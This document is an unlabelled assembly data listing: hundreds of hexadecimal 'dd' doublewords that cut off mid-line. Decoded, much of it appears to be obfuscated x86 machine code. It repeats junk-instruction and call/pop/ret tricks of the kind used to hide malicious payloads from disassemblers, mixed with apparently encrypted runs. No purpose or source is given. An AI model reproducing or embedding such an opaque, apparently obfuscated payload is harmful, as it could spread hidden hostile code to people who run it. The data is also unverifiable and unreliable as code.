0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0DCC35040h, 0E96EE9F2h dd 7, 0A28AAFA3h, 0FF826296h, 0FA287595h, 125E907h, 85890000h dd 7FA0B0Dh, 0BD8B00B0h, 7FA2C59h, 8B6070E6h, 2820FD7h dd 0B6000000h, 71E4618Ch, 2239BD23h, 613C07FAh, 0F9830Fh dd 85310000h, 7FA2929h, 89C8B60Fh, 0FA2EFD9Dh, 8D895107h dd 7FA20C5h, 6BA5Fh, 85890000h, 7FA2999h, 9D8BC18Bh, 7FA1451h dd 8104E8C1h, 0FC6AC3CBh, 0E2F7667Dh, 0D03ABF57h, 2B5B07F4h dd 0A59D8BC8h, 8B07FA0Eh, 4D9589D1h, 0B707FA14h, 0A5E9E0h dd 10E90000h, 0B6000000h, 16A50C35h, 65967F3Dh, 0A6F1E93Fh dd 8B41C449h, 4E4985h, 0E9D98A44h, 9, 0DF4618F3h, 0CA480CC2h dd 7C083ECh, 2A7D9D8Bh, 0C08307FAh, 0CD9D8B00h, 3B07FA21h dd 1B830FD0h, 0E9000000h, 0Bh, 350BCDC2h, 3AB4234Fh, 0E97DFCF8h dd 4Bh, 2D31BD89h, 8D8B07FAh, 0FFFFFFFFh, 0DE9h, 4CE83900h dd 0A1F4411h, 83ADDE63h, 0E183E9B7h, 24840F01h, 0F000000h dd 381h, 0FEBF0F00h, 0FFFFA583h, 89FEFFFFh, 0FA0F518Dh dd 49958907h, 6644004Eh, 0E9DE8Bh, 8D000000h, 0FEB3D3B5h dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 0F93DC087h, 60EDB0CDh, 26619D8Bh, 61F807FAh dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 0FFC66CC3h, 0FA101995h, 52006A07h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 17EFF72Ah, 0A48B17B0h, 7FB99464h, 8B000010h, 0FA2C2DBDh dd 0FCE18307h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Bh, 37C35545h, 0AB63ED96h, 0FC17623Dh, 1F759D8Bh, 0C02B07FAh dd 10E8h, 0EDA56D00h, 0B6504DB0h, 0FDF483FCh, 0AD4C44F0h dd 0BE999h, 0B5370000h, 70EC3325h, 2FF0AE0Bh, 0D22B5B20h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 27C35040h dd 0D4DFC88Eh, 48B78CF5h, 6850F8Fh, 60000000h, 9FB2F38Bh dd 0C233AD61h, 0D003E8D1h, 7504E983h, 57006AF4h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 4BA031D5h, 8589ECE7h, 7FA1F69h, 0E0DBD8Bh, 0BF0F07FAh dd 880DF9h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 0BC2AA2C3h, 209D9D8Bh, 958B07FAh dd 7FA1CD9h, 6860Fh, 0B5890000h, 7FA183Dh, 860Fh, 8D8B0000h dd 7FA31ADh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Dh, 0B4C35545h, 0B362C19Eh, 3648C8F1h, 50DA8AD5h, 188BC28Bh dd 188BC103h, 0E8D1C18Bh, 188BC203h, 51006A58h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 9D4C14EBh dd 0B58938B2h, 7FA1F01h, 240DBD8Bh, 0BD8307FAh, 7FA2A29h dd 7A840F00h, 8B000000h, 0B8D8h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 5B9B83C3h dd 685F8AAAh, 8B8B9253h, 668D8DFEh, 6A07FA4Fh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 55B1C353h, 87715A9Ah, 0C6404C89h, 0EE8h, 8DD96900h dd 0FE765B77h, 0FE2C7336h, 66155B2Ch, 8248CF81h, 89E1FF5Fh dd 0FA21458Dh, 0D9BD8307h, 7FA2Bh, 40A840Fh, 0BE90000h dd 0E1000000h, 35235E9Fh, 0E0029E57h, 0BD83C81Ah, 7FA2BD9h dd 8840F01h, 0F000004h, 68Fh, 1B58900h, 8907FA2Ch, 0FA16F985h dd 0D9BD8307h, 307FA2Bh, 3B3860Fh, 0A3BB0000h, 60419E83h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0B7C35545h dd 0FCA6EA0Eh, 6E9h, 0A30EAE00h, 66CAD25Bh, 12E9D98Ch dd 0D8000000h, 730CBB7Ah, 0F1392302h, 0F70BF796h, 3A598EE6h dd 4E180ABh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ch, 16C35343h, 0A98DA3E8h, 63366E1Eh, 0EE9h, 7834F200h dd 15F750F4h, 0A8BC46E7h, 0AE06F61h, 18840FC9h, 6A000001h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 906DC355h, 0B463A8FEh, 0CE8FAh, 69430000h dd 4BA61383h, 0C6E14BDh, 295B6234h, 0FA169D85h, 0E9858B07h dd 6A07FA0Fh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 8D59C357h, 1312A8F7h, 0C1BD8960h dd 6607FA2Eh, 3361F98Bh, 0FA15E185h, 0BF50F907h, 146E02BCh dd 60240489h, 29D88B66h, 0FA29A995h, 6A6107h, 0B3DF0E68h dd 21890FC9h, 50000000h, 10E852h, 0BCD10000h, 6DF99D3Dh dd 0EC12C3CBh, 125EECA1h, 0F5F13B9h, 0AAE0BF31h, 585A2C36h dd 0F1240481h, 0F5366B24h, 1CE995FFh, 0FE807FAh, 0DD000000h dd 3CA572C9h, 32823AC6h, 40AF39C9h, 870FAB03h, 1, 85895BF8h dd 7FDEB96h, 2341BF66h, 1CDE9h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 0EFBCDB1Eh dd 89959582h, 0FA10F985h, 8BCDB707h, 0FDEB8E85h, 81665707h dd 5BE21FC7h, 0A8EDC781h, 0C75046h, 18h, 2BF5BD01h, 0BD8B07FAh dd 7FA01FDh, 0EB92B58Bh, 6A07FDh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 879C1C3h, 8BF4DA16h dd 0FA1BE5BDh, 51858B07h, 6A07FA0Dh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0C8B3C353h dd 0F2EF6CCAh, 0FF5780Ah, 0C84h, 7E900h, 42390000h, 0CE983908h dd 6A0689B3h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 5E8EC351h, 0EB3F57DCh, 0D936F466h dd 811BD8Bh, 858B07FAh, 7FA0FE9h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 3BC35646h, 9BDEE982h, 6616BC14h dd 4689FA8Bh, 11858904h, 9607FA2Eh, 14E85250h, 6B000000h dd 0DAE26930h, 0E9B68718h, 0A5E073CAh, 0C5B557A2h, 5B21B031h dd 585A310Fh, 79BB6650h, 6A96C9h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 0A16E23C3h, 0DA8B661Eh dd 0EB8EB5FFh, 6A07FDh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 0C7544BC3h, 68BDB31Bh, 6C4C264Ah dd 0CE9h, 2B70CC00h, 14E77DAh, 0F745EDF8h, 24348170h, 6C5325B5h dd 1BF5BD01h, 858D07FAh, 7FDEB96h, 10799D8Bh, 895007FAh dd 66572404h, 0DD4EEB81h dd 0E995FF5Bh, 6607FA1Ch, 8961FA8Bh, 0FA2511B5h, 0D985C707h dd 307FA2Bh, 0F000000h, 0BD83FEBFh, 7FDEB96h, 4A840F00h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 3D58C357h, 9D29CD01h, 7FA2AA1h dd 3BE9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 4713B226h, 0C3050E2h, 11440011h dd 10E8C101h, 2114430h, 3114C00h, 4E98358h, 36EBE775h dd 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h dd 83110430h, 0E77504E9h, 0C08B00EBh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 17h, 34C35343h, 6A734361h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 0B427C357h, 3D38542Eh, 8B80EB80h, 0FA1D3D9Dh, 0C1858907h dd 8307FA22h, 0FA2BD9BDh, 850F0307h, 3EAh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 51C35646h, 96BD83DAh dd 7FDEBh, 3C0840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 6D5D31C3h, 9D89AEE7h dd 7FA2E11h, 0B5FF5F56h, 7FDEB96h, 0B860Fh, 8C0F0000h dd 5, 571B0DBFh, 4595FF7Eh, 6A07FA27h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0D613C352h dd 0C979B0F9h, 0B58BFA8Bh, 7FDEB8Ah, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 1EC35646h, 0D6ED1B7Bh, 3AB5CA63h dd 14E9h, 0F48E5B00h, 49FA819Eh, 2BF933A0h, 563520DDh dd 36D6A6F4h, 106C71Bh, 66000100h, 8B50FA8Bh, 243489DFh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0E4C35242h dd 0A0DE6CABh, 0BD95897Eh, 0E807FA18h, 7, 39AEB283h, 5B57D7D6h dd 0EB96B5FFh, 6A07FDh, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 35BF7DC3h, 0FF20C6C7h, 0FA18E195h dd 52006A07h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 7585899Dh, 8B07FA1Fh, 0FDEB8AB5h, 55006A07h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 15F750F4h, 8BDA8BE7h, 0FA1C7D85h, 0CD858907h, 8907FA01h dd 0C486h, 0D9958B00h, 0F07FA1Ch, 984h, 3800F00h, 0F000000h dd 0C283FABFh, 55B50904h, 8907FA01h, 6A2050h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 1514D2C3h dd 0B4B1CE66h, 0FC359E40h, 0FEF7858Dh, 0BB6607FDh, 86897400h dd 0B8h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 15h, 0C4C35242h, 8B006A19h, 96B5FFDAh, 6A07FDEBh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 0FF1AC353h, 890FCFBAh, 6, 0BEB9CB81h, 95FF53CCh, 7FA1C95h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 3FC35545h dd 0BD8BEC08h, 7FA17D5h, 0CEB4DB81h, 0B7505C68h, 243489C1h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 6C35545h dd 0D87B5C9h, 0B31AD34h, 0FA30F59Dh, 96B5FF07h, 0FF07FDEBh dd 0FA1D9595h, 39BD8B07h, 5607FA01h, 0BD59D8Bh, 835B07FAh dd 0FA0131BDh, 840F0007h, 42h, 17199D31h, 0F9607FAh, 28Ah dd 50FAB700h, 8B665250h, 0F310FF9h, 89h, 96585A00h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 68C35747h, 66B7215Bh dd 0B5FFD88Bh, 7FDEB96h, 1A880F60h, 0E8000000h, 14h, 0A2D4162h dd 0AC1F96E9h, 0ACD438D5h, 0FEC317B8h, 0BD3148F9h, 5E85Bh dd 0BFF10000h, 0B1051B53h, 0FF6158A7h, 0FA1CB595h, 89BD8B07h dd 0FF07FA00h, 0FDEB96B5h, 0AD95FF07h, 8B07FA21h, 0FA26A99Dh dd 21BD8307h, 207FA22h, 54840Fh, 0BD330000h, 7FA3445h dd 1615858Bh, 6A07FAh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 180424h, 55450000h, 56A54CC3h, 0C601A4h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 0F8BE79h, 9ABB6656h, 85C75F02h, 7FA16DDh, 0 dd 0EE8h, 0B6417D00h, 934CE2F3h, 57D2368Fh, 60134FA5h dd 3CB7D08Bh, 50E95B61h, 89FFFFF3h, 0FA180D85h, 6AC18B07h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 134C350h, 7C53B266h, 0F2F978DFh, 1CED8D09h dd 858D07FAh, 7FA0199h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 63C35343h, 422DC92Eh, 5626BF50h, 4893B99h dd 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 80115843h, 6ADCE7h, 6AD8B70Fh, 0A7858D00h dd 8307FF48h, 816605C0h, 5081C0C3h, 31240489h, 0FA21718Dh dd 95895307h, 7FA0099h, 6A006A5Fh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 2B82C352h dd 0B77B77BFh, 9006A60h, 0FA29659Dh, 0E995FF07h, 6A07FA2Bh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 0D86C351h, 1579E43Dh, 5677E381h, 8D8D188Ah dd 7FDD711h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 0B9C35343h, 8BEED422h, 0FA0FB59Dh, 0E8D1FF07h dd 11h, 61A7ED0h, 7B3D7AA2h, 0BE845930h, 0C5EFD5DDh, 0C5BD8BA3h dd 5B07FA15h, 33EDBD83h, 0F0107FAh, 0C385h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 0B0198F7Ch, 61606052h, 850F5F61h, 1Fh, 13E8h, 0F8669700h dd 33821518h, 1B747AC3h, 6E639A74h, 1DCB07E1h, 31D1BD09h dd 6A5F07FAh, 53006A02h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 897AFCBFh, 0FA182D95h, 81665007h dd 5F86B5DFh, 0BE95690h, 0B8000000h, 11D7C0A1h, 8A53C03Dh dd 505FEA6Eh, 958DBB66h, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 26523554h, 0C3A25966h dd 0BD29551Bh, 7FA0B9Dh, 1C9595FFh, 0DE8B07FAh, 0DBFE9h dd 0E800h, 815D0000h, 0FF48B1EDh, 52006A07h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 0D5B22849h dd 6ADEAB2Eh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 0D4B8C353h, 0B501692Ch, 7FA07C9h dd 1C49BD31h, 858D07FAh, 7FDB959h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 0DBC35747h, 663103A6h, 9D8B9AA2h dd 7FA0F9Dh, 79B75090h, 0FF64F890h, 35h, 0F1B58900h, 6407FA33h dd 2589h, 85090000h, 7FA02D1h, 104985FFh, 0FF6A07FAh, 0FFFFBF0Fh dd 0FA0E71B5h, 83BB6607h, 0EE96069h, 0C3000000h, 0ED427C28h dd 35B7EF97h, 0F05B2953h, 0D0816632h, 0FF6131A3h, 0FA287595h dd 0FAE907h, 8D090000h, 7FA10F5h, 6E800B0h, 14000000h dd 0B1CC1692h, 55BD8B4Ah, 5F07FA26h, 816670E6h, 0E4D232DBh dd 19D8971h, 8107FA28h, 819C6ACBh, 0F613C76h, 0C383h, 79850100h dd 0F07FA10h, 5160C8B6h, 16318D8Bh, 615807FAh, 6BAh, 0F88B6600h dd 6660C18Bh, 1332EF81h, 32859523h, 0C16107FAh, 0CB8104E8h dd 4F53518Ah, 0E9E2F766h, 9, 6B49077Fh, 4A1B426Ah, 0C82BFCAFh dd 33799589h, 0D18B07FAh, 0E9FEB70Fh, 6Ch, 4C858BFCh, 3505F4Ch dd 0FA2B21BDh, 0FBBF0F07h, 3307C083h, 0FA1045BDh, 0C08307h dd 0FD03BF9h, 0D83h, 19D2B00h, 0E907FA22h, 3Ch, 8D8B4FB3h dd 0FFFFFFFFh, 0DFD9D8Bh, 0E18307FAh, 25840F01h, 80000000h dd 0A5838ECBh, 0FFFFFFFFh, 5E9FEh, 0D2BB0000h, 8937F2EAh dd 5F4C4C95h, 79BD8B50h, 0E907FA2Ch, 0 dd 0C452B58Dh, 6A07FEh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 180424h, 55450000h, 0C8539EC3h, 0BD8B816Ah, 7FA2A59h dd 14E956h, 128F0000h, 89E71EC0h, 1F4286ECh, 0F0A010B8h dd 14257CC1h, 6A5FF556h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 0FF4786ABh, 0F2692041h dd 89BD8B34h, 0FF07FA0Bh, 0FA101995h, 81665307h, 5F0DE6DFh dd 1005B9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 8722CA5Eh, 83CAA660h, 6AFCE1h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 9B7F98C3h, 0D43AE8C7h, 0AE9h, 7D2A0D00h, 7094B5C4h dd 0FCCEB2E3h, 6AC02Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 47A3DAC3h, 29066372h, 0FA0841BDh dd 0CE907h, 0AED20000h, 0EBF97399h, 0D09C808h, 0D22BBEF6h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 3CC35242h dd 9407244Dh, 0ADFBBF0Fh, 0E8D1C233h, 0E983D003h, 8BF47504h dd 0FA18719Dh, 880D07h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 4F8552C3h, 0B70FD773h dd 0D9958BF9h, 0B307FA1Ch, 0AD8D8BA3h, 5207FA31h, 8B505BF8h dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0B4C35646h, 15BB98Ah dd 0FA29D985h, 55006A07h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 0EC781C6h, 0F7B3A5Ch dd 0BD83FABFh, 7FA2A29h, 73840F00h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 93BC352h, 0FA1C999Dh, 0B807h, 830F0000h, 6, 0B15BD8Bh dd 8D8D07FAh, 7FA4F66h, 13E951h, 71280000h, 0C9A501E5h dd 85A360AAh, 0B947F076h, 0A5B1417Eh, 0E1FF5F39h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 18C35646h, 0BD837DA3h dd 7FA2BD9h, 68840F00h, 6A000004h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0F14BC351h dd 0AADC6310h, 850F65h, 83000000h, 0FA2BD9BDh, 840F0107h dd 44Eh, 896684BBh, 0D9BD834Ch, 307FA2Bh, 406860Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 0A11F41C3h, 0C8B7B59Dh, 56006A60h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 8F1E9869h dd 0F86A6F0Bh, 0D98C66FCh, 305B589h, 0E18007FAh, 53006A04h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 896ADED6h, 0FA2C9D9Dh, 0FC90A07h, 12D84h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 81503AD8h, 22DE59EBh, 858B5F36h, 7FA0FE9h, 1649B531h dd 830F07FAh, 6, 34BDBD89h, 853307FAh, 7FA15E1h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 90C35141h, 0E9536090h dd 7, 0EEE5FC40h, 5F68AA81h, 10E85061h, 5F000000h, 0F8176773h dd 0E3B63133h, 9EEA1618h, 66AAA83Fh, 5F0155BFh, 51006A90h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 0FBF99FEh, 6A69ED3Fh, 0CBE66800h, 0BF66DABFh, 481BB45h dd 5F381924h, 11B58925h, 0FF07FA2Eh, 0FA1CE995h, 50006A07h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 3DECCE3Bh, 9D337B4Dh, 7FA2729h, 0EB968589h, 6A07FDh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 14F310C3h, 0E985DCF4h, 0ED8529FFh, 0E907FA10h, 1C0h dd 244D9D8Bh, 858B07FAh, 7FDEB8Eh, 0C75FF953h, 1800h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 70318574h, 9E986h, 0D56A0000h, 54A05456h, 8B6F941Ah dd 0FDEB92B5h, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1404h, 0C3564600h, 7E966h, 1ABF0000h, 0C175BA8Dh dd 51858B0Fh, 6A07FA0Dh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 1800C353h, 8B29D9CDh dd 0FA20619Dh, 6A068907h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 983BC357h, 2BA19D0Bh dd 858B07FAh, 7FA0FE9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 0F6C35747h, 89F37606h, 0FA2415BDh, 0FABF0F07h dd 0B3044689h, 0A9B501A2h, 5007FA17h, 3489FA8Bh, 52006A24h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 0D034AA45h, 292001E6h, 8EB5FFDAh, 6A07FDEBh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 5711C351h, 810AB51Ah, 6810Fh, 85890000h, 7FA1529h, 34498509h dd 0D56807FAh, 662DFB22h, 81CA06BBh, 212A2434h, 0CABF2DE4h dd 8D67AC24h, 0FDEB9685h, 0E3816607h, 5090CF33h, 0E860505Bh dd 0Ch, 807C064Ch, 1B53BFF1h, 0B6D34D05h, 7289ADBFh, 820F5B18h dd 13h, 0DE8h, 393D8000h, 0C05DA2FBh, 0AE426FB3h, 615E3589h dd 0FB8B6690h, 1CE995FFh, 0F88B07FAh, 51006A61h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 0FE871h, 54680000h, 5E153C82h, 476B64D9h, 164BE1CAh dd 0F98B664Bh, 0D985C75Fh, 307FA2Bh, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 0FDFBC352h, 0FA20D7Dh, 38Eh, 0C1E78000h, 0EB96BD83h dd 0F0007FDh, 2B84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 4CECCF9Ah, 21E9F5h, 95290000h dd 7FA2181h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h dd 44300311h, 28580211h, 30011164h, 0E9831104h, 0EBE77504h dd 6AC08B00h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 0FCCC351h, 689h, 559D8B00h, 6607FA2Bh dd 8362B4BFh, 0FA2BD9BDh, 850F0307h, 46Ah, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 4C35646h, 900E1D33h dd 6E9h, 99DA2D00h, 0E9F506C7h, 9, 0DEE3FC96h, 0BDBC512Dh dd 96BD83AFh, 7FDEBh, 424840Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0FF7D97C3h dd 0FDEB96B5h, 50006A07h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 0BD89514Ch, 7FA1149h dd 0DA8B665Bh, 274595FFh, 9E907FAh, 18000000h, 220FD621h dd 53D1D8DAh, 0EB8AB58Bh, 6A07FDh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 0B9D473C3h, 2D99BD8Bh dd 6C707FAh, 10001h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 0D8C35545h, 0E3A87EEEh, 60CA39EAh, 31158D8Bh dd 0E68007FAh, 0F9661CAh, 288h, 505F5000h, 58F0Fh, 0D3BB0000h dd 963B2021h, 1F9BD23h, 850F07FAh, 2, 0B5FFD98Bh, 7FDEB96h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 8BC35545h dd 2D2DA2EBh, 0A943F7DEh, 1C1622BBh, 0E195FF4Dh, 0F07FA18h dd 0B58BDABFh, 7FDEB8Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 0B0C35343h, 0BAB695Bh, 0FA338DBDh, 7D858B07h dd 8907FA1Ch, 0C486h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 64A044C4h, 0E8D430C0h dd 14h, 25A11716h, 96C72967h, 0E8A0187Dh, 298EF69Dh, 3B62F988h dd 18860Fh, 12E80000h, 1C000000h, 10F24D6Ah, 1EA6AC3Ah dd 0D917DE4Dh, 6D2316B3h, 8B5F5F5Dh, 0FA1CD995h, 57006A07h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 0A416FAECh, 6B7A28C1h, 38BBD00Dh, 831AB6E2h, 6A04C2h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 0C563C7C3h, 3146D29Fh, 95899173h, 7FA287Dh, 0E9205089h dd 0Bh, 0F64E1245h, 140D6779h, 0F2B9E3Eh, 0D8Eh, 8E900h dd 0FC030000h, 0AA54B0DEh, 858DE3CDh, 7FDFEF7h, 0FFBB70Fh dd 1684h, 11E900h, 0A8A20000h, 0B6730097h, 17783EDh, 66353047h dd 899BFCEEh, 0B886h, 319D8B00h, 6A07FA17h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 5B4A5F5Ch, 0F8926A5Bh, 0EE8h, 3E019C00h, 949F77E1h dd 0B0FC7DD2h, 89493202h, 0FA201985h, 0B5FF5F07h, 7FDEB96h dd 0FFDABF0Fh, 0FA1C9595h, 199D8B07h, 5007FA20h, 10E9h dd 0AE268A00h, 0BD9460A5h, 0C401A237h, 83F19C39h, 2434895Bh dd 14E8h, 0B60BF800h, 1FF5F955h, 15E92B35h, 9160C899h dd 2F00BA2h, 23BF66F2h, 0B5FF5FC5h, 7FDEB96h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 5C35242h, 50911EE2h dd 952911AAh, 7FA28E9h, 1D9595FFh, 6A07FAh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 8340BDC3h dd 0FA0131BDh, 840F0007h, 12h, 0E958D89h, 509607FAh, 5BF98B52h dd 64B6BB96h, 0B5FF7F58h, 7FDEB96h, 0D719D8Bh, 4AB707FAh dd 1CB595FFh, 0BD8B07FAh, 7FA17EDh, 2581BD8Bh, 0B5FF07FAh dd 7FDEB96h, 891B529h, 95FF07FAh, 7FA21ADh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 32C35545h, 0C810D0EEh dd 0CFB9A621h, 55BB6695h, 21BD83B5h, 207FA22h, 42840Fh dd 0E3810000h, 711358FAh, 16E18589h, 858B07FAh, 7FA1615h dd 28B0Fh, 0FE8A0000h, 6A0000C6h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0B126C357h dd 1549099Ch, 0C8AC0479h, 16DD85C7h, 7FAh, 830F0000h, 12h dd 6E8h, 7D2D7200h, 0B538D7Dh, 0FA27899Dh, 1BE95F07h, 6AFFFFF3h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 3E12C353h, 1950B68Ch, 8D89C383h, 7FA2639h dd 4EB7C18Bh, 199858Dh, 90F907FAh, 52502DB3h, 10E9905Bh dd 79000000h, 0AEA51422h, 0A082102Ah, 5D9F3672h, 6A4AB9BBh dd 6AF500h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 8CC35040h, 0B959D8Bh, 858D07FAh, 7FF57CBh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 4EC35343h, 806F812Dh dd 83DC922Ah, 8B5005C0h, 50505BF8h, 80EBB52h, 